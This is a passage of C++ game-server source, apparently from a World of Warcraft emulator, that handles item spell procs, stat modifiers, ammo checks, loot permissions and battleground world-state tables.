Item *otherWeapon = GetWeaponForAttack(attType == BASE_ATTACK ? OFF_ATTACK : BASE_ATTACK );
if (!otherWeapon)
return;
// all poison enchantments are temporary
uint32 enchant_id = otherWeapon->GetEnchantmentId(TEMP_ENCHANTMENT_SLOT);
if (!enchant_id)
return;
SpellItemEnchantmentEntry const* pSecondEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pSecondEnchant)
return;
for (int s = 0; s < 3; ++s)
{
if (pSecondEnchant->type[s] != ITEM_ENCHANTMENT_TYPE_COMBAT_SPELL)
continue;
SpellEntry const* combatEntry = sSpellStore.LookupEntry(pSecondEnchant->spellid[s]);
if (combatEntry && combatEntry->Dispel == DISPEL_POISON)
CastSpell(Target, combatEntry, true, otherWeapon);
}
}
}
void Player::CastItemCombatSpell(Unit* Target, WeaponAttackType attType)
{
Item *item = GetWeaponForAttack(attType, true, false);
if(!item)
return;
ItemPrototype const *proto = item->GetProto();
if(!proto)
return;
if (!Target || Target == this )
return;
for (int i = 0; i < MAX_ITEM_PROTO_SPELLS; ++i)
{
_Spell const& spellData = proto->Spells[i];
// no spell
if(!spellData.SpellId )
continue;
// wrong triggering type
if (spellData.SpellTrigger != ITEM_SPELLTRIGGER_CHANCE_ON_HIT)
continue;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(spellData.SpellId);
if(!spellInfo)
{
sLog.outError("WORLD: unknown Item spellid %i", spellData.SpellId);
continue;
}
// not allow proc extra attack spell at extra attack
if ( m_extraAttacks && IsSpellHaveEffect(spellInfo,SPELL_EFFECT_ADD_EXTRA_ATTACKS) )
return;
float chance = (float)spellInfo->procChance;
if (spellData.SpellPPMRate)
{
uint32 WeaponSpeed = proto->Delay;
chance = GetPPMProcChance(WeaponSpeed, spellData.SpellPPMRate);
}
else if (chance > 100.0f)
{
chance = GetWeaponProcChance();
}
if (roll_chance_f(chance))
CastSpell(Target, spellInfo->Id, true, item);
}
// item combat enchantments
for(int e_slot = 0; e_slot < MAX_ENCHANTMENT_SLOT; ++e_slot)
{
uint32 enchant_id = item->GetEnchantmentId(EnchantmentSlot(e_slot));
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if(!pEnchant) continue;
for (int s = 0; s < 3; ++s)
{
uint32 proc_spell_id = pEnchant->spellid[s];
if (pEnchant->type[s] != ITEM_ENCHANTMENT_TYPE_COMBAT_SPELL)
continue;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(proc_spell_id);
if (!spellInfo)
{
sLog.outError("Player::CastItemCombatSpell Enchant %i, cast unknown spell %i", pEnchant->ID, proc_spell_id);
continue;
}
// Use first rank to access spell item enchant procs
float ppmRate = sSpellMgr.GetItemEnchantProcChance(spellInfo->Id);
float chance = ppmRate
? GetPPMProcChance(proto->Delay, ppmRate)
: pEnchant->amount[s] != 0 ? float(pEnchant->amount[s]) : GetWeaponProcChance();
ApplySpellMod(spellInfo->Id,SPELLMOD_CHANCE_OF_SUCCESS, chance);
ApplySpellMod(spellInfo->Id,SPELLMOD_FREQUENCY_OF_SUCCESS, chance);
if (roll_chance_f(chance))
{
if (IsPositiveSpell(spellInfo->Id))
CastSpell(this, spellInfo->Id, true, item);
else
{
// Deadly Poison, unique effect needs to be handled before casting triggered spell
if (spellInfo->IsFitToFamily<SPELLFAMILY_ROGUE, CF_ROGUE_DEADLY_POISON>())
_HandleDeadlyPoison(Target, attType, spellInfo);
CastSpell(Target, spellInfo->Id, true, item);
}
}
}
}
}
void Player::CastItemUseSpell(Item *item,SpellCastTargets const& targets,uint8 cast_count, uint32 glyphIndex)
{
ItemPrototype const* proto = item->GetProto();
// special learning case
if (proto->Spells[0].SpellId==SPELL_ID_GENERIC_LEARN || proto->Spells[0].SpellId==SPELL_ID_GENERIC_LEARN_PET)
{
uint32 learn_spell_id = proto->Spells[0].SpellId;
uint32 learning_spell_id = proto->Spells[1].SpellId;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(learn_spell_id);
if (!spellInfo)
{
sLog.outError("Player::CastItemUseSpell: Item (Entry: %u) in have wrong spell id %u, ignoring ",proto->ItemId, learn_spell_id);
SendEquipError(EQUIP_ERR_NONE, item);
return;
}
Spell *spell = new Spell(this, spellInfo, false);
spell->m_CastItem = item;
spell->m_cast_count = cast_count; //set count of casts
spell->m_currentBasePoints[EFFECT_INDEX_0] = learning_spell_id;
spell->prepare(&targets);
return;
}
// use triggered flag only for items with many spell casts and for not first cast
int count = 0;
// item spells casted at use
for(int i = 0; i < MAX_ITEM_PROTO_SPELLS; ++i)
{
_Spell const& spellData = proto->Spells[i];
// no spell
if (!spellData.SpellId)
continue;
// wrong triggering type
if (spellData.SpellTrigger != ITEM_SPELLTRIGGER_ON_USE)
continue;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(spellData.SpellId);
if (!spellInfo)
{
sLog.outError("Player::CastItemUseSpell: Item (Entry: %u) in have wrong spell id %u, ignoring",proto->ItemId, spellData.SpellId);
continue;
}
Spell *spell = new Spell(this, spellInfo, (count > 0));
spell->m_CastItem = item;
spell->m_cast_count = cast_count; // set count of casts
spell->m_glyphIndex = glyphIndex; // glyph index
spell->prepare(&targets);
++count;
}
// Item enchantments spells casted at use
for (int e_slot = 0; e_slot < MAX_ENCHANTMENT_SLOT; ++e_slot)
{
uint32 enchant_id = item->GetEnchantmentId(EnchantmentSlot(e_slot));
SpellItemEnchantmentEntry const *pEnchant = sSpellItemEnchantmentStore.LookupEntry(enchant_id);
if (!pEnchant)
continue;
for (int s = 0; s < 3; ++s)
{
if (pEnchant->type[s]!=ITEM_ENCHANTMENT_TYPE_USE_SPELL)
continue;
SpellEntry const *spellInfo = sSpellStore.LookupEntry(pEnchant->spellid[s]);
if (!spellInfo)
{
sLog.outError("Player::CastItemUseSpell Enchant %i, cast unknown spell %i", pEnchant->ID, pEnchant->spellid[s]);
continue;
}
Spell *spell = new Spell(this, spellInfo, (count > 0));
spell->m_CastItem = item;
spell->m_cast_count = cast_count; // set count of casts
spell->m_glyphIndex = glyphIndex; // glyph index
spell->prepare(&targets);
++count;
}
}
}
void Player::_RemoveAllItemMods()
{
DEBUG_LOG("_RemoveAllItemMods start.");
for (int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i])
{
ItemPrototype const *proto = m_items[i]->GetProto();
if(!proto)
continue;
// item set bonuses not dependent from item broken state
if (proto->ItemSet)
RemoveItemsSetItem(this,proto);
if (m_items[i]->IsBroken())
continue;
ApplyItemEquipSpell(m_items[i],false);
ApplyEnchantment(m_items[i], false);
}
}
for (int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i])
{
if (m_items[i]->IsBroken())
continue;
ItemPrototype const *proto = m_items[i]->GetProto();
if(!proto)
continue;
uint32 attacktype = Player::GetAttackBySlot(i);
if (attacktype < MAX_ATTACK)
_ApplyWeaponDependentAuraMods(m_items[i],WeaponAttackType(attacktype),false);
_ApplyItemBonuses(proto,i, false);
if ( i == EQUIPMENT_SLOT_RANGED )
_ApplyAmmoBonuses();
}
}
DEBUG_LOG("_RemoveAllItemMods complete.");
}
void Player::_ApplyAllItemMods()
{
DEBUG_LOG("_ApplyAllItemMods start.");
for (int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i])
{
if (m_items[i]->IsBroken())
continue;
ItemPrototype const *proto = m_items[i]->GetProto();
if(!proto)
continue;
uint32 attacktype = Player::GetAttackBySlot(i);
if (attacktype < MAX_ATTACK)
_ApplyWeaponDependentAuraMods(m_items[i],WeaponAttackType(attacktype),true);
_ApplyItemBonuses(proto,i, true);
if ( i == EQUIPMENT_SLOT_RANGED )
_ApplyAmmoBonuses();
}
}
for (int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i])
{
ItemPrototype const *proto = m_items[i]->GetProto();
if(!proto)
continue;
// item set bonuses not dependent from item broken state
if (proto->ItemSet)
AddItemsSetItem(this,m_items[i]);
if (m_items[i]->IsBroken())
continue;
ApplyItemEquipSpell(m_items[i],true);
ApplyEnchantment(m_items[i], true);
}
}
DEBUG_LOG("_ApplyAllItemMods complete.");
}
void Player::_ApplyAllLevelScaleItemMods(bool apply)
{
for (int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i])
{
if (m_items[i]->IsBroken())
continue;
ItemPrototype const *proto = m_items[i]->GetProto();
if(!proto)
continue;
_ApplyItemBonuses(proto,i, apply, true);
}
}
}
void Player::_ApplyAmmoBonuses()
{
// check ammo
uint32 ammo_id = GetUInt32Value(PLAYER_AMMO_ID);
if(!ammo_id)
return;
float currentAmmoDPS;
ItemPrototype const *ammo_proto = ObjectMgr::GetItemPrototype( ammo_id );
if ( !ammo_proto || ammo_proto->Class!=ITEM_CLASS_PROJECTILE || !CheckAmmoCompatibility(ammo_proto))
currentAmmoDPS = 0.0f;
else
currentAmmoDPS = ammo_proto->Damage[0].DamageMin;
if (currentAmmoDPS == GetAmmoDPS())
return;
m_ammoDPS = currentAmmoDPS;
if (CanModifyStats())
UpdateDamagePhysical(RANGED_ATTACK);
}
bool Player::CheckAmmoCompatibility(const ItemPrototype *ammo_proto) const
{
if(!ammo_proto)
return false;
// check ranged weapon
Item *weapon = GetWeaponForAttack( RANGED_ATTACK, true, false );
if (!weapon)
return false;
ItemPrototype const* weapon_proto = weapon->GetProto();
if(!weapon_proto || weapon_proto->Class!=ITEM_CLASS_WEAPON )
return false;
// check ammo ws. weapon compatibility
switch(weapon_proto->SubClass)
{
case ITEM_SUBCLASS_WEAPON_BOW:
case ITEM_SUBCLASS_WEAPON_CROSSBOW:
if (ammo_proto->SubClass!=ITEM_SUBCLASS_ARROW)
return false;
break;
case ITEM_SUBCLASS_WEAPON_GUN:
if (ammo_proto->SubClass!=ITEM_SUBCLASS_BULLET)
return false;
break;
default:
return false;
}
return true;
}
/* If in a battleground a player dies, and an enemy removes the insignia, the player's bones is lootable
Called by remove insignia spell effect */
void Player::RemovedInsignia(Player* looterPlr)
{
if (!GetBattleGroundId())
return;
// If not released spirit, do it !
if (m_deathTimer > 0)
{
m_deathTimer = 0;
BuildPlayerRepop();
RepopAtGraveyard();
}
Corpse *corpse = GetCorpse();
if (!corpse)
return;
// We have to convert player corpse to bones, not to be able to resurrect there
// SpawnCorpseBones isn't handy, 'cos it saves player while he in BG
Corpse *bones = sObjectAccessor.ConvertCorpseForPlayer(GetObjectGuid(), true);
if (!bones)
return;
// Now we must make bones lootable, and send player loot
bones->SetFlag(CORPSE_FIELD_DYNAMIC_FLAGS, CORPSE_DYNFLAG_LOOTABLE);
// We store the level of our player in the gold field
// We retrieve this information at Player::SendLoot()
bones->loot.gold = getLevel();
bones->lootRecipient = looterPlr;
looterPlr->SendLoot(bones->GetObjectGuid(), LOOT_INSIGNIA);
}
void Player::SendLootRelease(ObjectGuid guid)
{
WorldPacket data( SMSG_LOOT_RELEASE_RESPONSE, (8+1) );
data << guid;
data << uint8(1);
SendDirectMessage( &data );
}
void Player::SendLoot(ObjectGuid guid, LootType loot_type)
{
if (ObjectGuid lootGuid = GetLootGuid())
m_session->DoLootRelease(lootGuid);
Loot* loot = NULL;
PermissionTypes permission = ALL_PERMISSION;
DEBUG_LOG("Player::SendLoot");
switch(guid.GetHigh())
{
case HIGHGUID_GAMEOBJECT:
{
DEBUG_LOG(" IS_GAMEOBJECT_GUID(guid)");
GameObject *go = GetMap()->GetGameObject(guid);
// not check distance for GO in case owned GO (fishing bobber case, for example)
// And permit out of range GO with no owner in case fishing hole
if (!go || (loot_type != LOOT_FISHINGHOLE && (loot_type != LOOT_FISHING && loot_type != LOOT_FISHING_FAIL || go->GetOwnerGuid() != GetObjectGuid()) && !go->IsWithinDistInMap(this,INTERACTION_DISTANCE)))
{
SendLootRelease(guid);
return;
}
loot = &go->loot;
Player* recipient = go->GetLootRecipient();
if (!recipient)
{
go->SetLootRecipient(this);
recipient = this;
}
// generate loot only if ready for open and spawned in world
if (go->getLootState() == GO_READY && go->isSpawned())
{
uint32 lootid = go->GetGOInfo()->GetLootId();
if ((go->GetEntry() == BG_AV_OBJECTID_MINE_N || go->GetEntry() == BG_AV_OBJECTID_MINE_S))
if (BattleGround *bg = GetBattleGround())
if (bg->GetTypeID(true) == BATTLEGROUND_AV)
if (!(((BattleGroundAV*)bg)->PlayerCanDoMineQuest(go->GetEntry(), GetTeam())))
{
SendLootRelease(guid);
return;
}
if (Group* group = this->GetGroup())
{
if (go->GetGoType() == GAMEOBJECT_TYPE_CHEST)
{
if (go->GetGOInfo()->chest.groupLootRules == 1 || sWorld.getConfig(CONFIG_BOOL_LOOT_CHESTS_IGNORE_DB))
{
group->UpdateLooterGuid(go,true);
switch (group->GetLootMethod())
{
case GROUP_LOOT:
// GroupLoot delete items over threshold (threshold even not implemented), and roll them. Items with quality<threshold, round robin
group->GroupLoot(go, loot);
permission = GROUP_PERMISSION;
break;
case NEED_BEFORE_GREED:
group->NeedBeforeGreed(go, loot);
permission = GROUP_PERMISSION;
break;
case MASTER_LOOT:
group->MasterLoot(go, loot);
permission = MASTER_PERMISSION;
break;
default:
break;
}
}
else
permission = GROUP_PERMISSION;
}
}
// Entry 0 in fishing loot template used for store junk fish loot at fishing fail it junk allowed by config option
// this is overwrite fishinghole loot for example
if (loot_type == LOOT_FISHING_FAIL)
loot->FillLoot(0, LootTemplates_Fishing, this, true);
else if (lootid)
{
DEBUG_LOG(" if (lootid)");
loot->clear();
loot->FillLoot(lootid, LootTemplates_Gameobject, this, false);
loot->generateMoneyLoot(go->GetGOInfo()->MinMoneyLoot, go->GetGOInfo()->MaxMoneyLoot);
if (go->GetGoType() == GAMEOBJECT_TYPE_CHEST && go->GetGOInfo()->chest.groupLootRules)
{
if (Group* group = go->GetGroupLootRecipient())
{
group->UpdateLooterGuid(go, true);
switch (group->GetLootMethod())
{
case GROUP_LOOT:
// GroupLoot delete items over threshold (threshold even not implemented), and roll them. Items with quality<threshold, round robin
group->GroupLoot(go, loot);
permission = GROUP_PERMISSION;
break;
case NEED_BEFORE_GREED:
group->NeedBeforeGreed(go, loot);
permission = GROUP_PERMISSION;
break;
case MASTER_LOOT:
group->MasterLoot(go, loot);
permission = MASTER_PERMISSION;
break;
default:
break;
}
}
}
}
else if (loot_type == LOOT_FISHING)
go->getFishLoot(loot,this);
go->SetLootState(GO_ACTIVATED);
}
if (go->getLootState() == GO_ACTIVATED &&
go->GetGoType() == GAMEOBJECT_TYPE_CHEST &&
(go->GetGOInfo()->chest.groupLootRules || sWorld.getConfig(CONFIG_BOOL_LOOT_CHESTS_IGNORE_DB)))
{
if (Group* group = go->GetGroupLootRecipient())
{
if (group == GetGroup())
{
if (group->GetLootMethod() == FREE_FOR_ALL)
permission = ALL_PERMISSION;
else if (group->GetLooterGuid() == GetObjectGuid())
{
if (group->GetLootMethod() == MASTER_LOOT)
permission = MASTER_PERMISSION;
else
permission = ALL_PERMISSION;
}
else
permission = GROUP_PERMISSION;
}
else
permission = NONE_PERMISSION;
}
else if (recipient == this)
permission = ALL_PERMISSION;
else
permission = NONE_PERMISSION;
}
break;
}
case HIGHGUID_ITEM:
{
Item *item = GetItemByGuid( guid );
if (!item)
{
SendLootRelease(guid);
return;
}
permission = OWNER_PERMISSION;
loot = &item->loot;
if (!item->HasGeneratedLoot())
{
item->loot.clear();
switch(loot_type)
{
case LOOT_DISENCHANTING:
loot->FillLoot(item->GetProto()->DisenchantID, LootTemplates_Disenchant, this, true);
item->SetLootState(ITEM_LOOT_TEMPORARY);
break;
case LOOT_PROSPECTING:
loot->FillLoot(item->GetEntry(), LootTemplates_Prospecting, this, true);
item->SetLootState(ITEM_LOOT_TEMPORARY);
break;
case LOOT_MILLING:
loot->FillLoot(item->GetEntry(), LootTemplates_Milling, this, true);
item->SetLootState(ITEM_LOOT_TEMPORARY);
break;
default:
loot->FillLoot(item->GetEntry(), LootTemplates_Item, this, true, item->GetProto()->MaxMoneyLoot == 0);
loot->generateMoneyLoot(item->GetProto()->MinMoneyLoot, item->GetProto()->MaxMoneyLoot);
item->SetLootState(ITEM_LOOT_CHANGED);
break;
}
}
break;
}
case HIGHGUID_CORPSE: // remove insignia
{
Corpse *bones = GetMap()->GetCorpse(guid);
if (!bones || !((loot_type == LOOT_CORPSE) || (loot_type == LOOT_INSIGNIA)) || (bones->GetType() != CORPSE_BONES) )
{
SendLootRelease(guid);
return;
}
loot = &bones->loot;
if (!bones->lootForBody)
{
bones->lootForBody = true;
uint32 pLevel = bones->loot.gold;
bones->loot.clear();
if (GetBattleGround() && GetBattleGround()->GetTypeID(true) == BATTLEGROUND_AV)
loot->FillLoot(0, LootTemplates_Creature, this, false);
// It may need a better formula
// Now it works like this: lvl10: ~6copper, lvl70: ~9silver
bones->loot.gold = (uint32)( urand(50, 150) * 0.016f * pow( ((float)pLevel)/5.76f, 2.5f) * sWorld.getConfig(CONFIG_FLOAT_RATE_DROP_MONEY) );
}
if (bones->lootRecipient != this)
permission = NONE_PERMISSION;
else
permission = OWNER_PERMISSION;
break;
}
case HIGHGUID_UNIT:
case HIGHGUID_VEHICLE:
{
Creature *creature = GetMap()->GetCreature(guid);
// must be in range and creature must be alive for pickpocket and must be dead for another loot
if (!creature || creature->isAlive()!=(loot_type == LOOT_PICKPOCKETING) || !creature->IsWithinDistInMap(this,INTERACTION_DISTANCE))
{
SendLootRelease(guid);
return;
}
if (loot_type == LOOT_PICKPOCKETING && IsFriendlyTo(creature))
{
SendLootRelease(guid);
return;
}
loot = &creature->loot;
if (loot_type == LOOT_PICKPOCKETING)
{
if (!creature->lootForPickPocketed)
{
creature->lootForPickPocketed = true;
loot->clear();
if (uint32 lootid = creature->GetCreatureInfo()->pickpocketLootId)
loot->FillLoot(lootid, LootTemplates_Pickpocketing, this, false);
// Generate extra money for pick pocket loot
const uint32 a = urand(0, creature->getLevel()/2);
const uint32 b = urand(0, getLevel()/2);
loot->gold = uint32(10 * (a + b) * sWorld.getConfig(CONFIG_FLOAT_RATE_DROP_MONEY));
permission = OWNER_PERMISSION;
}
}
else
{
// the player whose group may loot the corpse
Player *recipient = creature->GetLootRecipient();
if (!recipient)
{
creature->SetLootRecipient(this);
recipient = this;
}
if (creature->lootForPickPocketed)
{
creature->lootForPickPocketed = false;
loot->clear();
}
if (!creature->lootForBody)
{
creature->lootForBody = true;
loot->clear();
if (uint32 lootid = creature->GetCreatureInfo()->lootid)
loot->FillLoot(lootid, LootTemplates_Creature, recipient, false);
loot->generateMoneyLoot(creature->GetCreatureInfo()->mingold,creature->GetCreatureInfo()->maxgold);
if (Group* group = creature->GetGroupLootRecipient())
{
group->UpdateLooterGuid(creature,true);
switch (group->GetLootMethod())
{
case GROUP_LOOT:
// GroupLoot delete items over threshold (threshold even not implemented), and roll them. Items with quality<threshold, round robin
group->GroupLoot(creature, loot);
break;
case NEED_BEFORE_GREED:
group->NeedBeforeGreed(creature, loot);
break;
case MASTER_LOOT:
group->MasterLoot(creature, loot);
break;
default:
break;
}
}
}
// possible only if creature->lootForBody && loot->empty() at spell cast check
if (loot_type == LOOT_SKINNING)
{
if (!creature->lootForSkin)
{
creature->lootForSkin = true;
loot->clear();
loot->FillLoot(creature->GetCreatureInfo()->SkinLootId, LootTemplates_Skinning, this, false);
// let reopen skinning loot if will closed.
if (!loot->empty())
creature->SetUInt32Value(UNIT_DYNAMIC_FLAGS, UNIT_DYNFLAG_LOOTABLE);
permission = OWNER_PERMISSION;
}
}
// set group rights only for loot_type != LOOT_SKINNING
else
{
if (Group* group = creature->GetGroupLootRecipient())
{
if (group == GetGroup())
{
if (group->GetLootMethod() == FREE_FOR_ALL)
permission = ALL_PERMISSION;
else if (group->GetLooterGuid() == GetObjectGuid())
{
if (group->GetLootMethod() == MASTER_LOOT)
permission = MASTER_PERMISSION;
else
permission = ALL_PERMISSION;
}
else
permission = GROUP_PERMISSION;
}
else
permission = NONE_PERMISSION;
}
else if (recipient == this)
permission = OWNER_PERMISSION;
else
permission = NONE_PERMISSION;
}
}
break;
}
default:
{
sLog.outError("%s is unsupported for looting.", guid.GetString().c_str());
return;
}
}
SetLootGuid(guid);
// LOOT_INSIGNIA and LOOT_FISHINGHOLE unsupported by client
switch(loot_type)
{
case LOOT_INSIGNIA: loot_type = LOOT_SKINNING; break;
case LOOT_FISHING_FAIL: loot_type = LOOT_FISHING; break;
case LOOT_FISHINGHOLE: loot_type = LOOT_FISHING; break;
default: break;
}
// need know merged fishing/corpse loot type for achievements
loot->loot_type = loot_type;
WorldPacket data(SMSG_LOOT_RESPONSE, (9+50)); // we guess size
data << ObjectGuid(guid);
data << uint8(loot_type);
data << LootView(*loot, this, permission);
SendDirectMessage(&data);
// add 'this' player as one of the players that are looting 'loot'
if (permission != NONE_PERMISSION)
loot->AddLooter(GetObjectGuid());
if (loot_type == LOOT_CORPSE && !guid.IsItem())
SetFlag(UNIT_FIELD_FLAGS, UNIT_FLAG_LOOTING);
}
void Player::SendNotifyLootMoneyRemoved()
{
WorldPacket data(SMSG_LOOT_CLEAR_MONEY, 0);
GetSession()->SendPacket( &data );
}
void Player::SendNotifyLootItemRemoved(uint8 lootSlot)
{
WorldPacket data(SMSG_LOOT_REMOVED, 1);
data << uint8(lootSlot);
GetSession()->SendPacket( &data );
}
void Player::SendUpdateWorldState(uint32 Field, uint32 Value)
{
WorldPacket data(SMSG_UPDATE_WORLD_STATE, 8);
data << Field;
data << Value;
// Tempfix before WorldStateMgr implementing
if (IsInWorld() && GetSession())
GetSession()->SendPacket(&data);
}
static WorldStatePair AV_world_states[] =
{
{ 0x7ae, 0x1 }, // 1966 7 snowfall n
{ 0x532, 0x1 }, // 1330 8 frostwolfhut hc
{ 0x531, 0x0 }, // 1329 9 frostwolfhut ac
{ 0x52e, 0x0 }, // 1326 10 stormpike firstaid a_a
{ 0x571, 0x0 }, // 1393 11 east frostwolf tower horde assaulted -unused
{ 0x570, 0x0 }, // 1392 12 west frostwolf tower horde assaulted - unused
{ 0x567, 0x1 }, // 1383 13 frostwolfe c
{ 0x566, 0x1 }, // 1382 14 frostwolfw c
{ 0x550, 0x1 }, // 1360 15 irondeep (N) ally
{ 0x544, 0x0 }, // 1348 16 ice grave a_a
{ 0x536, 0x0 }, // 1334 17 stormpike grave h_c
{ 0x535, 0x1 }, // 1333 18 stormpike grave a_c
{ 0x518, 0x0 }, // 1304 19 stoneheart grave a_a
{ 0x517, 0x0 }, // 1303 20 stoneheart grave h_a
{ 0x574, 0x0 }, // 1396 21 unk
{ 0x573, 0x0 }, // 1395 22 iceblood tower horde assaulted -unused
{ 0x572, 0x0 }, // 1394 23 towerpoint horde assaulted - unused
{ 0x56f, 0x0 }, // 1391 24 unk
{ 0x56e, 0x0 }, // 1390 25 iceblood a
{ 0x56d, 0x0 }, // 1389 26 towerp a
{ 0x56c, 0x0 }, // 1388 27 frostwolfe a
{ 0x56b, 0x0 }, // 1387 28 froswolfw a
{ 0x56a, 0x1 }, // 1386 29 unk
{ 0x569, 0x1 }, // 1385 30 iceblood c
{ 0x568, 0x1 }, // 1384 31 towerp c
{ 0x565, 0x0 }, // 1381 32 stoneh tower a
{ 0x564, 0x0 }, // 1380 33 icewing tower a
{ 0x563, 0x0 }, // 1379 34 dunn a
{ 0x562, 0x0 }, // 1378 35 duns a
{ 0x561, 0x0 }, // 1377 36 stoneheart bunker alliance assaulted - unused
{ 0x560, 0x0 }, // 1376 37 icewing bunker alliance assaulted - unused
{ 0x55f, 0x0 }, // 1375 38 dunbaldar south alliance assaulted - unused
{ 0x55e, 0x0 }, // 1374 39 dunbaldar north alliance assaulted - unused
{ 0x55d, 0x0 }, // 1373 40 stone tower d
{ 0x3c6, 0x0 }, // 966 41 unk
{ 0x3c4, 0x0 }, // 964 42 unk
{ 0x3c2, 0x0 }, // 962 43 unk
{ 0x516, 0x1 }, // 1302 44 stoneheart grave a_c
{ 0x515, 0x0 }, // 1301 45 stonheart grave h_c
{ 0x3b6, 0x0 }, // 950 46 unk
{ 0x55c, 0x0 }, // 1372 47 icewing tower d
{ 0x55b, 0x0 }, // 1371 48 dunn d
{ 0x55a, 0x0 }, // 1370 49 duns d
{ 0x559, 0x0 }, // 1369 50 unk
{ 0x558, 0x0 }, // 1368 51 iceblood d
{ 0x557, 0x0 }, // 1367 52 towerp d
{ 0x556, 0x0 }, // 1366 53 frostwolfe d
{ 0x555, 0x0 }, // 1365 54 frostwolfw d
{ 0x554, 0x1 }, // 1364 55 stoneh tower c
{ 0x553, 0x1 }, // 1363 56 icewing tower c
{ 0x552, 0x1 }, // 1362 57 dunn c
{ 0x551, 0x1 }, // 1361 58 duns c
{ 0x54f, 0x0 }, // 1359 59 irondeep (N) horde
{ 0x54e, 0x0 }, // 1358 60 irondeep (N) ally
{ 0x54d, 0x1 }, // 1357 61 mine (S) neutral
{ 0x54c, 0x0 }, // 1356 62 mine (S) horde
{ 0x54b, 0x0 }, // 1355 63 mine (S) ally
{ 0x545, 0x0 }, // 1349 64 iceblood h_a
{ 0x543, 0x1 }, // 1347 65 iceblod h_c
{ 0x542, 0x0 }, // 1346 66 iceblood a_c
{ 0x540, 0x0 }, // 1344 67 snowfall h_a
{ 0x53f, 0x0 }, // 1343 68 snowfall a_a
{ 0x53e, 0x0 }, // 1342 69 snowfall h_c
{ 0x53d, 0x0 }, // 1341 70 snowfall a_c
{ 0x53c, 0x0 }, // 1340 71 frostwolf g h_a
{ 0x53b, 0x0 }, // 1339 72 frostwolf g a_a
{ 0x53a, 0x1 }, // 1338 73 frostwolf g h_c
{ 0x539, 0x0 }, // l33t 74 frostwolf g a_c
{ 0x538, 0x0 }, // 1336 75 stormpike grave h_a
{ 0x537, 0x0 }, // 1335 76 stormpike grave a_a
{ 0x534, 0x0 }, // 1332 77 frostwolf hut h_a
{ 0x533, 0x0 }, // 1331 78 frostwolf hut a_a
{ 0x530, 0x0 }, // 1328 79 stormpike first aid h_a
{ 0x52f, 0x0 }, // 1327 80 stormpike first aid h_c
{ 0x52d, 0x1 }, // 1325 81 stormpike first aid a_c
{ 0x0, 0x0 }
};
static WorldStatePair WS_world_states[] =
{
{ 0x62d, 0x0 }, // 1581 7 alliance flag captures
{ 0x62e, 0x0 }, // 1582 8 horde flag captures
{ 0x609, 0x0 }, // 1545 9 unk, set to 1 on alliance flag pickup...
{ 0x60a, 0x0 }, // 1546 10 unk, set to 1 on horde flag pickup, after drop it's -1
{ 0x60b, 0x2 }, // 1547 11 unk
{ 0x641, 0x3 }, // 1601 12 unk (max flag captures?)
{ 0x922, 0x1 }, // 2338 13 horde (0 - hide, 1 - flag ok, 2 - flag picked up (flashing), 3 - flag picked up (not flashing)
{ 0x923, 0x1 }, // 2339 14 alliance (0 - hide, 1 - flag ok, 2 - flag picked up (flashing), 3 - flag picked up (not flashing)
{ 0x1097,0x1 }, // 4247 15 show time limit?
{ 0x1098,0x19 }, // 4248 16 time remaining in minutes
{ 0x0, 0x0 }
};
static WorldStatePair AB_world_states[] =
{
{ 0x6e7, 0x0 }, // 1767 7 stables alliance
{ 0x6e8, 0x0 }, // 1768 8 stables horde
{ 0x6e9, 0x0 }, // 1769 9 unk, ST?
{ 0x6ea, 0x0 }, // 1770 10 stables (show/hide)
{ 0x6ec, 0x0 }, // 1772 11 farm (0 - horde controlled, 1 - alliance controlled)
{ 0x6ed, 0x0 }, // 1773 12 farm (show/hide)
{ 0x6ee, 0x0 }, // 1774 13 farm color
{ 0x6ef, 0x0 }, // 1775 14 gold mine color, may be FM?
{ 0x6f0, 0x0 }, // 1776 15 alliance resources
{ 0x6f1, 0x0 }, // 1777 16 horde resources
{ 0x6f2, 0x0 }, // 1778 17 horde bases
{ 0x6f3, 0x0 }, // 1779 18 alliance bases
{ 0x6f4, 0x7d0 }, // 1780 19 max resources (2000)
{ 0x6f6, 0x0 }, // 1782 20 blacksmith color
{ 0x6f7, 0x0 }, // 1783 21 blacksmith (show/hide)
{ 0x6f8, 0x0 }, // 1784 22 unk, bs?
{ 0x6f9, 0x0 }, // 1785 23 unk, bs?
{ 0x6fb, 0x0 }, // 1787 24 gold mine (0 - horde contr, 1 - alliance contr)
{ 0x6fc, 0x0 }, // 1788 25 gold mine (0 - conflict, 1 - horde)
{ 0x6fd, 0x0 }, // 1789 26 gold mine (1 - show/0 - hide)
{ 0x6fe, 0x0 }, // 1790 27 gold mine color
{ 0x700, 0x0 }, // 1792 28 gold mine color, wtf?, may be LM?
{ 0x701, 0x0 }, // 1793 29 lumber mill color (0 - conflict, 1 - horde contr)
{ 0x702, 0x0 }, // 1794 30 lumber mill (show/hide)
{ 0x703, 0x0 }, // 1795 31 lumber mill color color
{ 0x732, 0x1 }, // 1842 32 stables (1 - uncontrolled)
{ 0x733, 0x1 }, // 1843 33 gold mine (1 - uncontrolled)
{ 0x734, 0x1 }, // 1844 34 lumber mill (1 - uncontrolled)
{ 0x735, 0x1 }, // 1845 35 farm (1 - uncontrolled)
{ 0x736, 0x1 }, // 1846 36 blacksmith (1 - uncontrolled)
{ 0x745, 0x2 }, // 1861 37 unk
{ 0x7a3, 0x708 }, // 1955 38 warning limit (1800)
{ 0x0, 0x0 }
};
static WorldStatePair EY_world_states[] =
{
{ 0xac1, 0x0 }, // 2753 7 Horde Bases
{ 0xac0, 0x0 }, // 2752 8 Alliance Bases
{ 0xab6, 0x0 }, // 2742 9 Mage Tower - Horde conflict
{ 0xab5, 0x0 }, // 2741 10 Mage Tower - Alliance conflict
{ 0xab4, 0x0 }, // 2740 11 Fel Reaver - Horde conflict
{ 0xab3, 0x0 }, // 2739 12 Fel Reaver - Alliance conflict
{ 0xab2, 0x0 }, // 2738 13 Draenei - Alliance conflict
{ 0xab1, 0x0 }, // 2737 14 Draenei - Horde conflict
